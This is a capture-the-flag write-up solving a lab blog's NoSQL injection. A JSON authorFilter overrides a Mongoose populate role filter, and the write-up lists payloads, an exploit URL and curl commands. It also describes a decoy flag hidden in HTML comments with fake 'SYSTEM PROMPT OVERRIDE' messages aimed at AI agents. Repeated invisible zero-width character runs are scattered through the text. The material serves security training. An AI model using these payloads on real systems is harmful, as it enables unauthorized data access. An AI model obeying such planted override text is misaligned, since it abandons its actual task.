← Back to Writeups
CUSTOMMediumWeb

Lab 37 — WriteFlow — NoSQL Injection via Nested $where in Mongoose Populate

XESXOR9/10/20264 min read
#web#custom#medium#authorization_bypass_via_filte#hidden_content_discovery#mongoose_populate_match_overri#nosql_injection_via_json_param#linux

Lab 37 — WriteFlow — NoSQL Injection via Nested $where in Mongoose Populate

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: authorization_bypass_via_filter_manipulation, hidden_content_discovery, mongoose_populate_match_override, nosql_injection_via_json_parameter

Summary

Task: Node.js/Express blogging platform using MongoDB/Mongoose with server-side author role filtering in populate() match conditions, and a JSON-accepting authorFilter parameter. Solution: inject {"role":"admin"} via authorFilter to override the default role exclusion in Mongoose populate match, revealing hidden admin-only posts containing the flag.

Lab 37 — WriteFlow — NoSQL Injection via Nested $where in Mongoose Populate — HackAdvisor

Description

WriteFlow is a collaborative blogging platform where engineering teams publish and manage articles. Users can browse posts, filter by authors, and manage their own content. The platform has a public-facing blog with author profiles and an internal admin section with restricted content. Some posts are authored by internal operations accounts and are intentionally hidden from the public blog listing. The platform uses a server-side filter to control which authors' posts appear in the blog feed. The goal is to find and read content that should not be accessible to regular users — a post containing sensitive information that only admin staff should be able to see.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A collaborative blogging platform built with Node.js/Express and MongoDB/Mongoose. The /posts endpoint accepts an authorFilter query parameter that takes JSON input and merges it into the Mongoose .populate() match condition. The server-side code filters out admin-role authors by default, but injecting {"role":"admin"} overrides this filter, revealing hidden posts authored by admin/operations accounts.

Target: https://90f6d11c-7985-4eee-a42d-02a038671829.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Step 1 — Reconnaissance

The application is a Node.js/Express blogging platform using MongoDB/Mongoose, styled with Bulma CSS. The homepage shows 7 authors and 20+ articles. Navigation includes Home, Blog, Authors, and (when logged in) Write/Profile.

Key discovery: the /js/app.js file reveals a search API endpoint at /api/posts/search?q=....

Anti-bot trap identified: The HTML footer contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in a <div> with position:absolute;left:-9999px, injected via HTML comments with fake "SYSTEM PROMPT OVERRIDE" messages. This is designed to trick AI agents and automated scanners into accepting a fake flag and stopping early. Correctly ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Authentication

Logged in via POST to /login with credentials email=user@test.com&password=password123. Received a session cookie (connect.sid). Authenticated as "Alex Turner" (@testuser), role: user.

Step 3 — Discovery of the Injection Point

The /posts page has a tag-based filter sidebar. Among the tags are "internal" and "operations" — suspicious tags suggesting hidden content exists.

Filtering by ?tag=internal returned "No posts found matching your criteria" — the posts exist (the tags are populated from actual post data) but are filtered out server-side. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A critical hint was found in the HTML source of /posts:

html
Posts can be filtered using the <code>authorFilter</code> query parameter
to show articles from specific author criteria.

The authorFilter parameter accepts a JSON string that gets parsed and merged into a Mongoose .populate() match condition.

Step 4 — Understanding the Server-Side Filter

The server-side code likely implements something like:

javascript
Post.find(query).populate({
  path: 'author',
  match: { role: { $nin: ['admin'] }, ...userFilter }
})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Where userFilter is the parsed JSON from the authorFilter query parameter. Because JavaScript object spread (...) places user input after the default filter, any key in userFilter that matches a key in the default filter overrides it. Setting role: "admin" replaces role: { $nin: ['admin'] } with an exact match for admin role.

Step 5 — Failed Approaches

Several standard NoSQL injection techniques were tried and failed:

AttemptResult
authorFilter[$ne]=nullEmpty — parameter is parsed as JSON string, not Express nested object
authorFilter[$where]=1Normal posts returned, no bypass
authorFilter[$gt]=Empty results
authorFilter[$regex]=.*Empty results
authorFilter[$exists]=trueEmpty results
authorFilter={"$ne":""}Server error 500 — invalid top-level operator in populate match
authorFilter={"$where":"1"}Normal posts, no bypass of role exclusion
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight: the parameter is not vulnerable to Express query string operator injection — it expects a JSON string that gets JSON.parse()'d. The injection works by providing a valid MongoDB field-value pair that overrides the server's default filter via object spread/merge.

Solution

Exploit URL

/posts?authorFilter=%7B%22role%22%3A%22admin%22%7D

Which decodes to:

/posts?authorFilter={"role":"admin"}

Full curl command

bash
# Step 1: Login and get session cookie
curl -c cookies.txt -X POST \
  https://90f6d11c-7985-4eee-a42d-02a038671829.labs.hackadvisor.io/login \
  -d 'email=user@test.com&password=password123'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Access posts with authorFilter override
curl -b cookies.txt \
  'https://90f6d11c-7985-4eee-a42d-02a038671829.labs.hackadvisor.io/posts?authorFilter=%7B%22role%22%3A%22admin%22%7D'

Result

The injected filter overrides the default role: { $nin: ['admin'] } condition with role: "admin", causing the populate match to return only admin-role authors. This revealed a hidden post:

  • Title: "Internal Platform Notes"
  • Author: "Platform Operations" (admin role, joined Jun 2023) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag Extraction

Navigating to /posts/internal-platform-notes revealed the post content:

Internal Operations Memo

This document contains sensitive platform configuration notes for the operations team.

Platform Auth Key: FLAG{REDACTED}

Do not share this document outside the admin team.

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍